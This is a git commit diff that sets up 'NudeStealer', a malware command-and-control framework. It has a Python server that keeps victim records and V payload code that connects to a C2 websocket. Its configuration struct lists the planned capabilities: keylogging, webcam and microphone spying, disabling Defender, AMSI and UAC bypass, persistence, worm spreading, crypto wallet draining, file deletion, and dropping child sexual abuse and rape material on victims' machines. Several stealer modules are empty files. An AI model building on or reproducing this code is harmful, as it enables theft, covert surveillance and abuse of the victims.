Initial commit
This commit is contained in:
6
README.txt
Normal file
6
README.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
PS C:\Users\wm\Documents\projects\NudeStealer\payload> v version
|
||||
V 0.5.0 5e0489f
|
||||
PS C:\Users\wm\Documents\projects\NudeStealer\payload>
|
||||
|
||||
|
||||
.\build_payload.ps1 debug c run
|
||||
69
__main__.py
Normal file
69
__main__.py
Normal file
@@ -0,0 +1,69 @@
|
||||
import base64
|
||||
import os
|
||||
import asyncio
|
||||
import multiprocessing
|
||||
|
||||
from serverside.consts import logger, running_tasks, DATABASE_FILE, BASE_DIR, CONFIG_TEMPLATE, __projname__, __version__, __author__
|
||||
from serverside.http_s import start_server
|
||||
from serverside.database_s import init_db
|
||||
from serverside.util_s import stop_all, run_in_thread
|
||||
from ui.ui_ux import start_ui
|
||||
|
||||
async def main() -> None:
|
||||
if not os.path.exists(BASE_DIR / "configuration.ini"):
|
||||
logger.error("Configuration file not found. Creating template configuration.ini in the base directory.")
|
||||
with open(BASE_DIR / "configuration.ini", "w", encoding="utf-8") as f:
|
||||
f.write(CONFIG_TEMPLATE.strip())
|
||||
logger.info("Template configuration.ini created. Please review and update the configuration file before running the server again. Waiting for 10 seconds before exiting...")
|
||||
await asyncio.sleep(10.0)
|
||||
return
|
||||
|
||||
|
||||
if not os.path.exists(DATABASE_FILE):
|
||||
logger.info("Database file not found. Initializing new database...")
|
||||
try:
|
||||
init_db()
|
||||
logger.info("Database initialized successfully.")
|
||||
except Exception as e:
|
||||
logger.error(f"An error occurred while initializing the database: {e}")
|
||||
else:
|
||||
logger.info("Database file found. Skipping initialization.")
|
||||
|
||||
|
||||
logger.info("NudeStealer http Server is starting...")
|
||||
try:
|
||||
running_tasks["server"] = asyncio.create_task(start_server())
|
||||
logger.info("NudeStealer http Server has started successfully.")
|
||||
except Exception as e:
|
||||
logger.error(f"An error occurred while starting the http server: {e}")
|
||||
return
|
||||
|
||||
|
||||
logger.info("Starting the UI...")
|
||||
try:
|
||||
running_tasks["ui"] = asyncio.create_task(run_in_thread("UI", start_ui))
|
||||
#start_ui()
|
||||
logger.info("UI has started successfully.")
|
||||
except Exception as e:
|
||||
logger.error(f"An error occurred while starting the UI: {e}")
|
||||
return
|
||||
|
||||
print(running_tasks)
|
||||
|
||||
#await asyncio.gather(*running_tasks.values())
|
||||
while True:
|
||||
await asyncio.sleep(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
multiprocessing.freeze_support()
|
||||
if __projname__ == base64.decodebytes(b"TnVkZVN0ZWFsZXIgU2VydmVy").decode("utf-8"):
|
||||
|
||||
try:
|
||||
from serverside.helpers.config import get
|
||||
#print(get("network", "port", fallback=80))
|
||||
logger.info(f"NudeStealer Server v{__version__} by {__author__}")
|
||||
logger.debug(get("ui", "port") == get("network", "port"))
|
||||
asyncio.run(main())
|
||||
except KeyboardInterrupt:
|
||||
asyncio.run(stop_all())
|
||||
45
configuration.ini
Normal file
45
configuration.ini
Normal file
@@ -0,0 +1,45 @@
|
||||
[general]
|
||||
app_name = NuDe Stealer
|
||||
banner = /hbf mission / Operation
|
||||
version = 1.0.0
|
||||
# Only allows local connections, developer only debug features enabled
|
||||
debug = True
|
||||
|
||||
[paths]
|
||||
# you might as well change these if you want to keep things organized, but they can be left as is
|
||||
log_file_name = nudestealer_log.log
|
||||
database_file_name = nudestealer.sqlite3
|
||||
# Folder where victim data will be stored sorted after
|
||||
# their UUID, last updated state (date), IP address/country & account username
|
||||
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
|
||||
vic_data_folder = vic_data
|
||||
|
||||
[ui]
|
||||
# port the ui will run on
|
||||
port = 56200
|
||||
|
||||
[network]
|
||||
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
|
||||
host = 127.0.0.1
|
||||
# port the http server will run on
|
||||
port = 56000
|
||||
# whether to encrypt data before sending it via Ascon-AEAD128
|
||||
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
|
||||
use_ascon = True
|
||||
use_x25519 = True
|
||||
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
|
||||
ratelimit = True
|
||||
# 0 for unlimited
|
||||
max_concurrent_connections = 0
|
||||
|
||||
[administration]
|
||||
# admin account username and password, change these before running the server for the first time
|
||||
systemadmin_username = 0xschoolshooter
|
||||
systemadmin_password = password
|
||||
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
|
||||
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
|
||||
# https://git.fingeri.ng/dff/NuDe-C2
|
||||
self_host = True
|
||||
|
||||
[online_hosted]
|
||||
api_uri = 95.228.40.87
|
||||
8
payload/.editorconfig
Normal file
8
payload/.editorconfig
Normal file
@@ -0,0 +1,8 @@
|
||||
[*]
|
||||
charset = utf-8
|
||||
end_of_line = lf
|
||||
insert_final_newline = true
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.v]
|
||||
indent_style = tab
|
||||
8
payload/.gitattributes
vendored
Normal file
8
payload/.gitattributes
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
* text=auto eol=lf
|
||||
*.bat eol=crlf
|
||||
|
||||
*.v linguist-language=V
|
||||
*.vv linguist-language=V
|
||||
*.vsh linguist-language=V
|
||||
v.mod linguist-language=V
|
||||
.vdocignore linguist-language=ignore
|
||||
27
payload/.gitignore
vendored
Normal file
27
payload/.gitignore
vendored
Normal file
@@ -0,0 +1,27 @@
|
||||
# Binaries for programs and plugins
|
||||
main
|
||||
NudeStealer
|
||||
*.exe
|
||||
*.exe~
|
||||
*.so
|
||||
*.dylib
|
||||
*.dll
|
||||
|
||||
# Ignore binary output folders
|
||||
bin/
|
||||
|
||||
# Ignore common editor/system specific metadata
|
||||
.DS_Store
|
||||
.idea/
|
||||
.vscode/
|
||||
*.iml
|
||||
|
||||
# ENV
|
||||
.env
|
||||
|
||||
# vweb and database
|
||||
*.db
|
||||
*.js
|
||||
|
||||
# Ignore installed modules through `v install --local`:
|
||||
modules/
|
||||
36
payload/build_payload.ps1
Normal file
36
payload/build_payload.ps1
Normal file
@@ -0,0 +1,36 @@
|
||||
param(
|
||||
[ValidateSet("debug", "release", "size")]
|
||||
[string]$mode = "size",
|
||||
|
||||
[ValidateSet("native", "c", "js_node", "go")]
|
||||
[string]$target = "c",
|
||||
|
||||
[ValidateSet("build", "run")]
|
||||
[string]$action = "build"
|
||||
)
|
||||
|
||||
if (-not (Test-Path "build")) {
|
||||
New-Item -ItemType Directory -Path "build" | Out-Null
|
||||
}
|
||||
|
||||
if ($mode -eq "debug") {
|
||||
v -g -cg -b $target -enable-globals -o build/nude_bug .
|
||||
}
|
||||
elseif ($mode -eq "release") {
|
||||
v -prod -cflags "-O3" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_release .
|
||||
}
|
||||
elseif ($mode -eq "size") {
|
||||
v -prod -cflags "-Os -s" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_optimized .
|
||||
}
|
||||
|
||||
$exe = switch ($mode) {
|
||||
"debug" { "nude_bug.exe" }
|
||||
"release" { "nude_release.exe" }
|
||||
"size" { "nude_optimized.exe" }
|
||||
}
|
||||
|
||||
$v_output = Join-Path -Path "build" -ChildPath $exe
|
||||
|
||||
if ($action -eq "run") {
|
||||
& $v_output
|
||||
}
|
||||
8
payload/configuration.v
Normal file
8
payload/configuration.v
Normal file
@@ -0,0 +1,8 @@
|
||||
module main
|
||||
|
||||
import structs
|
||||
|
||||
pub const configuration = structs.ConfStruct{
|
||||
websocket : 'Müller',
|
||||
fake_error_msg : true,
|
||||
}
|
||||
11
payload/core/connect.v
Normal file
11
payload/core/connect.v
Normal file
@@ -0,0 +1,11 @@
|
||||
module core
|
||||
|
||||
import net.websocket
|
||||
|
||||
fn connect_ws(url string) ?&websocket.Client {
|
||||
mut ws := websocket.new_client(url) ?
|
||||
|
||||
ws.connect() ?
|
||||
|
||||
return &ws
|
||||
}
|
||||
11
payload/core/constants.v
Normal file
11
payload/core/constants.v
Normal file
@@ -0,0 +1,11 @@
|
||||
module core
|
||||
|
||||
__global (
|
||||
logs Logger
|
||||
)
|
||||
|
||||
pub fn initialize() {
|
||||
logs = Logger{}
|
||||
|
||||
logs.debug('core:constants:initialize', 'test')
|
||||
}
|
||||
46
payload/core/logger.v
Normal file
46
payload/core/logger.v
Normal file
@@ -0,0 +1,46 @@
|
||||
module core
|
||||
|
||||
import time
|
||||
|
||||
enum LogLevel {
|
||||
info
|
||||
debug
|
||||
error
|
||||
}
|
||||
|
||||
pub struct Logger {
|
||||
mut:
|
||||
logs string
|
||||
}
|
||||
|
||||
fn log_level_str(level LogLevel) string {
|
||||
return match level {
|
||||
.info { 'INFO' }
|
||||
.debug { 'DEBUG' }
|
||||
.error { 'ERROR' }
|
||||
}
|
||||
}
|
||||
|
||||
pub fn (mut l Logger) log(mod string, level LogLevel, msg string) {
|
||||
timestamp := time.now().format_ss_milli()
|
||||
full_msg := '[$timestamp] [${log_level_str(level)}] [$mod] $msg'
|
||||
|
||||
println(full_msg)
|
||||
|
||||
l.logs += full_msg + '\n'
|
||||
}
|
||||
|
||||
pub fn (mut l Logger) info(mod string, msg string) {
|
||||
l.log(mod, .info, msg)
|
||||
}
|
||||
|
||||
pub fn (mut l Logger) debug(mod string, msg string) {
|
||||
l.log(mod, .debug, msg)
|
||||
}
|
||||
|
||||
pub fn (mut l Logger) error(mod string, msg string) {
|
||||
l.log(mod, .error, msg)
|
||||
}
|
||||
pub fn (l Logger) get_logs() string {
|
||||
return l.logs
|
||||
}
|
||||
117
payload/cryptography/cryptography.v
Normal file
117
payload/cryptography/cryptography.v
Normal file
@@ -0,0 +1,117 @@
|
||||
module cryptography
|
||||
|
||||
import x.crypto.ascon
|
||||
import crypto.rand
|
||||
import crypto.hmac
|
||||
import x.crypto.curve25519
|
||||
import crypto.sha256
|
||||
import encoding.base64
|
||||
import structs
|
||||
|
||||
fn ascon_key_generator() string {
|
||||
key := rand.bytes(ascon.key_size) or {
|
||||
logs.error('cryptography:cryptography:ascon_key_generator', 'ascon key generation failed due to: \'$err\'')
|
||||
return ''
|
||||
}
|
||||
return key.hex()
|
||||
}
|
||||
|
||||
fn ascon_encrypt(key_hex string, plaintext string) string {
|
||||
key := []u8(key_hex.hex())
|
||||
nonce := rand.bytes(ascon.nonce_size) or {
|
||||
logs.error('cryptography:cryptography:ascon_encrypt', 'nonce generation failed due to: \'$err\'')
|
||||
return ''
|
||||
}
|
||||
ad := []u8{}
|
||||
|
||||
ciphertext := ascon.encrypt(key, nonce, ad, plaintext.bytes()) or {
|
||||
logs.error('cryptography:cryptography:ascon_encrypt', 'encrypt failed: \'$err\'')
|
||||
return ''
|
||||
}
|
||||
|
||||
mut combined := []u8{len: nonce.len + ciphertext.len}
|
||||
combined << nonce
|
||||
combined << ciphertext
|
||||
data_b64 := base64.encode(combined)
|
||||
|
||||
return data_b64
|
||||
}
|
||||
|
||||
fn ascon_decrypt(key_hex string, data_b64 string) string {
|
||||
key := []u8(key_hex.hex())
|
||||
combined := base64.decode(data_b64)
|
||||
|
||||
if combined.len < ascon.nonce_size {
|
||||
logs.error('cryptography:cryptography:ascon_decrypt', 'data blob is too short')
|
||||
return ''
|
||||
}
|
||||
|
||||
nonce := combined[..ascon.nonce_size]
|
||||
ciphertext := combined[ascon.nonce_size..]
|
||||
|
||||
plaintext_bytes := ascon.decrypt(key, nonce, []u8{}, ciphertext) or {
|
||||
logs.error('cryptography:cryptography:ascon_decrypt', 'decrypt failed: \'$err\'')
|
||||
return ''
|
||||
}
|
||||
|
||||
return plaintext_bytes.bytestr()
|
||||
}
|
||||
|
||||
fn generate_keypair() !structs.KeyPair {
|
||||
mut secret_key_bytes := curve25519.PrivateKey.new() or {
|
||||
logs.error('cryptography:cryptography:generate_keypair', 'x25519 secret key generation failed due to: \'$err\'')
|
||||
return error('x25519 secret key generation failed due to: \'$err\'')
|
||||
}
|
||||
public_key_bytes := secret_key_bytes.public_key() or {
|
||||
logs.error('cryptography:cryptography:generate_keypair', 'x25519 public key computation/generation failed due to: \'$err\'')
|
||||
return error('x25519 public key computation/generation failed due to: \'$err\'')
|
||||
}
|
||||
|
||||
logs.info('cryptography:cryptography:generate_keypair', 'Generated x25519 keypair')
|
||||
return structs.KeyPair{
|
||||
secret: secret_key_bytes
|
||||
public: public_key_bytes
|
||||
}
|
||||
}
|
||||
|
||||
fn compute_shared_secret(mut secret_key curve25519.PrivateKey, public_key curve25519.PublicKey) ![]u8 {
|
||||
shared_secret_raw := curve25519.derive_shared_secret(mut secret_key, public_key) or {
|
||||
logs.error('cryptography:cryptography:compute_shared_secret', 'x25519 raw shared_secret computation/derivation failed due to: \'$err\'')
|
||||
return []u8{}
|
||||
}
|
||||
|
||||
logs.info('cryptography:cryptography:compute_shared_secret', 'Computed x25519 raw shared_secret')
|
||||
return shared_secret_raw
|
||||
}
|
||||
|
||||
fn hkdf_sha256(ikm []u8, salt []u8, length int) []u8 {
|
||||
prk := hmac.new(salt, ikm, sha256.sum, sha256.block_size)
|
||||
|
||||
info := []u8{}
|
||||
mut okm := []u8{}
|
||||
mut previous_block := []u8{}
|
||||
mut counter := u8(1)
|
||||
|
||||
for okm.len < length {
|
||||
mut block_input := previous_block.clone()
|
||||
block_input << info
|
||||
block_input << counter
|
||||
|
||||
block := hmac.new(prk, block_input, sha256.sum, sha256.block_size)
|
||||
|
||||
okm << block
|
||||
previous_block = block.clone()
|
||||
counter++
|
||||
}
|
||||
|
||||
logs.info('cryptography:cryptography:hkdf_sha256', 'Derived HMAC-x25519 shared_secret')
|
||||
return okm[..length]
|
||||
}
|
||||
|
||||
fn salt_randomizer() []u8 {
|
||||
logs.info('cryptography:cryptography:salt_randomizer', 'Generated CSPRNG randomized salt')
|
||||
return rand.bytes(32) or {
|
||||
logs.error('cryptography:cryptography:salt_randomizer', 'CSPRNG randomized salt generation failed due to: \'$err\'')
|
||||
return []u8{}
|
||||
}
|
||||
}
|
||||
0
payload/exfil/discord_stealer.v
Normal file
0
payload/exfil/discord_stealer.v
Normal file
0
payload/exfil/screenshot.v
Normal file
0
payload/exfil/screenshot.v
Normal file
0
payload/exfil/system_information_stealer.v
Normal file
0
payload/exfil/system_information_stealer.v
Normal file
27
payload/main.v
Normal file
27
payload/main.v
Normal file
@@ -0,0 +1,27 @@
|
||||
module main
|
||||
|
||||
import core
|
||||
import cryptography
|
||||
|
||||
fn main() {
|
||||
core.initialize()
|
||||
logs.info('main:main:main', 'Called initiliazer func!')
|
||||
|
||||
go fn(ch chan WsResult) {
|
||||
conn := core.establish_ws_conn() or {
|
||||
ch <- WsResult{err: 'Could not establish WS: $err'}
|
||||
return
|
||||
}
|
||||
ch <- WsResult{conn: conn}
|
||||
}(ch)
|
||||
|
||||
logs.info('main:main:main', 'Connecting to \'$configuration.websocket\'.')
|
||||
|
||||
res := <-ch
|
||||
|
||||
if res.err != none {
|
||||
logs.error('main:main:main', res.err or { 'Unknown error' })
|
||||
} else {
|
||||
logs.info('main:main:main', 'Successfully connected to WS on \'$configuration.websocket\'.')
|
||||
}
|
||||
}
|
||||
213
payload/structs/conf_struct.v
Normal file
213
payload/structs/conf_struct.v
Normal file
@@ -0,0 +1,213 @@
|
||||
module structs
|
||||
|
||||
pub struct ConfStruct {
|
||||
pub mut:
|
||||
websocket string
|
||||
//use_ascon bool
|
||||
//use_x_asymmetric_key_exchange bool
|
||||
allow_remote_control bool // allow c2 live access other than this
|
||||
reconnect_rate string // 'retries per minute/wait period after'
|
||||
start_delay int // in seconds
|
||||
auto_update bool
|
||||
update_delay int // in minutes
|
||||
updater_keep_old_version bool
|
||||
live_json_config_priority bool // whether to prefer an encrypted json object (randomly dropped on device to store updated configs)
|
||||
// over this hardcoded configuration, this cannot be changed
|
||||
// and is recommended to be set to true except for highly sensitive systems
|
||||
|
||||
melt_stub bool
|
||||
fake_error_msg bool
|
||||
fake_error_text_msg string
|
||||
anti_kill bool
|
||||
anti_kill_bsod bool
|
||||
anti_vm bool
|
||||
anti_debug bool
|
||||
anti_analysis bool
|
||||
persistence bool
|
||||
persistence_type persistence_type_helper
|
||||
|
||||
webcam_snapshot bool
|
||||
webcam_snapshot_repeat bool
|
||||
webcam_snap_repeat_delay int
|
||||
microphone_record bool
|
||||
microphone_record_time int // in seconds
|
||||
microphone_recording_repeat bool
|
||||
microphone_recording_repeat_delay int // in minutes, how many minutes to wait until the next recording of x microphone_record_time's length
|
||||
|
||||
disable_cam_indicator_light bool
|
||||
|
||||
screenshot bool
|
||||
|
||||
keylogger bool
|
||||
app_injection bool
|
||||
network_spreading bool
|
||||
usb_spreading bool
|
||||
system_worm bool
|
||||
|
||||
detect_location bool // tries to gain precise geolocation access
|
||||
detect_age_group bool
|
||||
detect_languages_spoken bool
|
||||
detect_gender bool // based on files, system name, location, recent typing activity ect. using BERT ai transformer
|
||||
|
||||
hook_system_password bool
|
||||
|
||||
|
||||
dropper []DropperConfStruct
|
||||
|
||||
exploitation ExploitationConfStruct
|
||||
exfiltration StealerConfStruct
|
||||
|
||||
drainer []WalletConfStruct
|
||||
clipper []WalletConfStruct
|
||||
miner []WalletConfStruct
|
||||
|
||||
plugins SelectiveConfStruct
|
||||
misc FunConfStruct
|
||||
}
|
||||
|
||||
pub struct StealerConfStruct {
|
||||
pub mut:
|
||||
network_data bool
|
||||
system_data bool
|
||||
messenger_data bool
|
||||
mail_data bool
|
||||
game_data bool
|
||||
application_data bool
|
||||
workplace_data bool
|
||||
wallet_data bool
|
||||
browser_data bool
|
||||
|
||||
wallet_drainer bool
|
||||
crypto_clipper bool
|
||||
crypto_miner bool
|
||||
}
|
||||
|
||||
pub struct ExploitationConfStruct {
|
||||
uac_bypass bool
|
||||
disable_reagentc bool
|
||||
destroy_defender bool
|
||||
disable_defender bool
|
||||
disable_etw bool
|
||||
amsi_bypass bool
|
||||
}
|
||||
|
||||
pub struct WalletConfStruct { // for Drainer, Clipper & Miner Config
|
||||
pub mut:
|
||||
coin crypto_coin_helper
|
||||
wallet_address string
|
||||
miner_usage &int // optional, only used by miner, beneath the same
|
||||
miner_mode &crypto_miner_mode
|
||||
}
|
||||
|
||||
pub struct SelectiveConfStruct {
|
||||
blacklist_countries []string
|
||||
defender_exclusion_stub bool
|
||||
defender_exclusion_other bool
|
||||
defender_excluded_files []string
|
||||
defender_excluded_folders []string
|
||||
steal_common_files bool
|
||||
delete_common_files bool
|
||||
steal_important_files bool
|
||||
delete_important_files bool
|
||||
important_file_types []string
|
||||
common_file_types []string
|
||||
}
|
||||
|
||||
pub struct DropperConfStruct {
|
||||
pub mut:
|
||||
file_type dropper_file_type_helper
|
||||
file_link string
|
||||
execute bool
|
||||
save_on_disk bool
|
||||
save_location string
|
||||
startup bool
|
||||
}
|
||||
|
||||
pub struct FunConfStruct {
|
||||
pub mut:
|
||||
drop_porn bool
|
||||
drop_child_porn bool
|
||||
drop_rape bool
|
||||
drop_gore bool
|
||||
drop_cats bool
|
||||
drop_unicorns bool
|
||||
|
||||
lock_screen bool
|
||||
|
||||
gmailer bool
|
||||
yahoomailer bool
|
||||
mail_contents string
|
||||
|
||||
random_sounds bool
|
||||
|
||||
random_secret_file_deletion bool
|
||||
|
||||
random_fast_file_deletion bool
|
||||
|
||||
random_secret_app_deletion bool
|
||||
|
||||
disable_task_mngr bool
|
||||
disable_explorer bool
|
||||
|
||||
change_cursor_icon bool
|
||||
cursor_icon_uri string
|
||||
|
||||
swap_wallpaper bool
|
||||
wallpaper_uri string
|
||||
|
||||
invert_screen_colors_random bool
|
||||
|
||||
max_system_volume_random bool
|
||||
|
||||
disable_keyboard bool
|
||||
disable_mouse bool
|
||||
microphone_echo_effect bool
|
||||
|
||||
porn_detection bool // detect porn on the monitor gradually, when detected take webcam snapshot and submit to c2 api
|
||||
}
|
||||
|
||||
|
||||
// helper structs
|
||||
|
||||
pub struct country_helper {
|
||||
pub mut:
|
||||
country string
|
||||
}
|
||||
|
||||
pub struct file_type_helper {
|
||||
pub mut:
|
||||
file_type string
|
||||
}
|
||||
|
||||
enum persistence_type_helper {
|
||||
registry
|
||||
taskschd
|
||||
shell_startup
|
||||
shell_common_startup
|
||||
}
|
||||
|
||||
enum crypto_coin_helper {
|
||||
ltc
|
||||
btc
|
||||
eth
|
||||
xmr
|
||||
sol
|
||||
usdt
|
||||
}
|
||||
|
||||
enum crypto_miner_mode {
|
||||
cpu
|
||||
gpu
|
||||
}
|
||||
|
||||
enum dropper_file_type_helper {
|
||||
exe
|
||||
bat
|
||||
ps1
|
||||
zip
|
||||
rar
|
||||
js
|
||||
dll
|
||||
donut_pic_shellcode
|
||||
shortcut
|
||||
}
|
||||
14
payload/structs/struct.v
Normal file
14
payload/structs/struct.v
Normal file
@@ -0,0 +1,14 @@
|
||||
module structs
|
||||
|
||||
import x.crypto.curve25519
|
||||
|
||||
pub struct KeyPair {
|
||||
pub:
|
||||
secret &curve25519.PrivateKey
|
||||
public &curve25519.PublicKey
|
||||
}
|
||||
|
||||
pub struct op_codes {
|
||||
pub:
|
||||
op_code string
|
||||
}
|
||||
7
payload/v.mod
Normal file
7
payload/v.mod
Normal file
@@ -0,0 +1,7 @@
|
||||
Module {
|
||||
name: 'NudeStealer'
|
||||
description: 'NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.'
|
||||
version: '1.0.0'
|
||||
license: '0BSD'
|
||||
dependencies: []
|
||||
}
|
||||
0
payload/ws_live/hvnc.v
Normal file
0
payload/ws_live/hvnc.v
Normal file
0
payload/ws_live/revshell.v
Normal file
0
payload/ws_live/revshell.v
Normal file
6
requirements.txt
Normal file
6
requirements.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
ascon==0.0.9
|
||||
nicegui==3.7.1
|
||||
starlette==0.52.1
|
||||
uvicorn==0.41.0
|
||||
pywebview==6.1
|
||||
cryptography==46.0.5
|
||||
59
serverside/consts.py
Normal file
59
serverside/consts.py
Normal file
@@ -0,0 +1,59 @@
|
||||
__projname__ = "NudeStealer Server"
|
||||
__author__ = "0xschoolshooter"
|
||||
__version__ = "1.0.0"
|
||||
__title__ = f"{__projname__} v{__version__} ~ by {__author__}"
|
||||
|
||||
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from .helpers.logger import setup_logger
|
||||
from serverside.helpers.config import get
|
||||
|
||||
logger = setup_logger()
|
||||
|
||||
running_tasks = {}
|
||||
executor = ThreadPoolExecutor(max_workers=2)
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().parent.parent
|
||||
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
|
||||
|
||||
DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3")
|
||||
|
||||
CONFIG_TEMPLATE = """
|
||||
[general]
|
||||
app_name = NuDe Stealer
|
||||
banner = /hbf mission / Operation
|
||||
version = 1.0.0
|
||||
# Only allows local connections, developer only debug features enabled
|
||||
debug = false
|
||||
|
||||
[paths]
|
||||
# you might as well change these if you want to keep things organized, but they can be left as is
|
||||
log_file_name = nudestealer_log.log
|
||||
database_file_name = nudestealer.sqlite3
|
||||
# Folder where victim data will be stored after
|
||||
# their UUID, last updated state (date), IP address/country & account username
|
||||
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
|
||||
vic_data_folder = vic_data
|
||||
|
||||
[network]
|
||||
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
|
||||
host = 127.0.0.1
|
||||
# port the http server will run on
|
||||
port = 80
|
||||
# whether to encrypt data before sending it via Ascon-AEAD128
|
||||
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
|
||||
use_ascon = True
|
||||
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
|
||||
ratelimit = True
|
||||
# 0 for unlimited
|
||||
max_concurrent_connections = 0
|
||||
|
||||
[administration]
|
||||
# admin account username and password, change these before running the server for the first time
|
||||
systemadmin_username = admin
|
||||
systemadmin_password = nudestealer
|
||||
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
|
||||
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
|
||||
# https://git.fingeri.ng/dff/nude-stealer
|
||||
self_host = True"""
|
||||
72
serverside/cryptography.py
Normal file
72
serverside/cryptography.py
Normal file
@@ -0,0 +1,72 @@
|
||||
import os
|
||||
import base64
|
||||
import ascon
|
||||
import hashlib
|
||||
import secrets
|
||||
from cryptography.hazmat.primitives.asymmetric import x25519
|
||||
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
from typing import Tuple
|
||||
|
||||
def ascon_key_generator() -> str:
|
||||
key = os.urandom(16)
|
||||
return key.hex()
|
||||
|
||||
def encrypt(key_hex: str, plaintext: str) -> str:
|
||||
key = bytes.fromhex(key_hex)
|
||||
nonce = os.urandom(16)
|
||||
ad = b''
|
||||
|
||||
ciphertext = ascon.encrypt(key, nonce, ad, plaintext.encode(), variant="Ascon-AEAD128")
|
||||
|
||||
combined = nonce + ciphertext
|
||||
data_b64 = base64.b64encode(combined).decode()
|
||||
|
||||
return data_b64
|
||||
|
||||
def decrypt(key_hex: str, data_b64: str) -> str:
|
||||
key = bytes.fromhex(key_hex)
|
||||
combined = base64.b64decode(data_b64)
|
||||
|
||||
nonce = combined[:16]
|
||||
ciphertext = combined[16:]
|
||||
|
||||
plaintext = ascon.decrypt(key, nonce, b'', ciphertext, variant="Ascon-AEAD128")
|
||||
return plaintext.decode()
|
||||
|
||||
def hash_password(password: str) -> str:
|
||||
salt = secrets.token_hex(16)
|
||||
hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
|
||||
return f"{salt}${hashed.hex()}"
|
||||
|
||||
def check_password(password: str, stored: str) -> bool:
|
||||
salt, hashed = stored.split('$')
|
||||
new_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
|
||||
return new_hash.hex() == hashed
|
||||
|
||||
def salt_randomizer() -> bytes:
|
||||
return secrets.token_bytes(32)
|
||||
|
||||
def hkdf_sha256(salt: bytes, shared_secret_raw: str) -> str:
|
||||
hkdf = HKDF(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=32,
|
||||
salt=salt,
|
||||
info=b'',
|
||||
)
|
||||
key_material = hkdf.derive(shared_secret_raw)
|
||||
|
||||
return key_material
|
||||
|
||||
def compute_shared_secret(secret_key: bytes, public_key: bytes) -> bytes:
|
||||
secret_key_bytes = x25519.X25519PrivateKey.from_private_bytes(secret_key)
|
||||
public_key_bytes = x25519.X25519PublicKey.from_public_bytes(public_key)
|
||||
|
||||
shared_secret_raw = secret_key_bytes.exchange(public_key_bytes)
|
||||
|
||||
return shared_secret_raw
|
||||
|
||||
def generate_keypair() -> Tuple[x25519.X25519PrivateKey, x25519.X25519PublicKey]:
|
||||
secret_key_bytes = x25519.X25519PrivateKey.generate()
|
||||
public_key_bytes = secret_key_bytes.public_key()
|
||||
return secret_key_bytes, public_key_bytes
|
||||
133
serverside/database_s.py
Normal file
133
serverside/database_s.py
Normal file
@@ -0,0 +1,133 @@
|
||||
import sqlite3
|
||||
import json
|
||||
from datetime import datetime
|
||||
from serverside.consts import DATABASE_FILE
|
||||
from serverside.helpers.config import get
|
||||
from serverside.cryptography import hash_password
|
||||
|
||||
def init_db():
|
||||
DATABASE_CONNECTION = sqlite3.connect(DATABASE_FILE)
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
|
||||
cursor.execute('''
|
||||
CREATE TABLE IF NOT EXISTS vic_data (
|
||||
vic_uuid TEXT PRIMARY KEY,
|
||||
vic_account_name TEXT NOT NULL,
|
||||
vic_recent_ascon_key_hex TEXT,
|
||||
vic_previous_ascon_key_list TEXT, -- stored as JSON string
|
||||
last_updated TEXT,
|
||||
created_at TEXT DEFAULT (datetime('now'))
|
||||
)
|
||||
''')
|
||||
|
||||
cursor.execute('''
|
||||
CREATE TABLE IF NOT EXISTS administration (
|
||||
administrator_username TEXT PRIMARY KEY,
|
||||
administrator_password_hash TEXT NOT NULL,
|
||||
created_at TEXT DEFAULT (datetime('now'))
|
||||
)
|
||||
''')
|
||||
|
||||
cursor.execute('''
|
||||
CREATE TABLE IF NOT EXISTS discord_webhooks (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
webhook_url TEXT NOT NULL,
|
||||
created_at TEXT DEFAULT (datetime('now'))
|
||||
)
|
||||
''')
|
||||
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
insert_admin(DATABASE_CONNECTION, get("administration", "systemadmin_username", fallback="admin"), hash_password(get("administration", "systemadmin_password", fallback="nudestealer")))
|
||||
|
||||
DATABASE_CONNECTION.close()
|
||||
|
||||
def insert_vic(DATABASE_CONNECTION, vic_uuid, vic_account_name, recent_key, previous_keys=None):
|
||||
if previous_keys is None:
|
||||
previous_keys = []
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
INSERT INTO vic_data (vic_uuid, vic_account_name, vic_recent_ascon_key_hex, vic_previous_ascon_key_list, last_updated)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
''', (vic_uuid, vic_account_name, recent_key, json.dumps(previous_keys), datetime.now(datetime.timezone.utc).isoformat()))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def get_vic(DATABASE_CONNECTION, vic_uuid):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
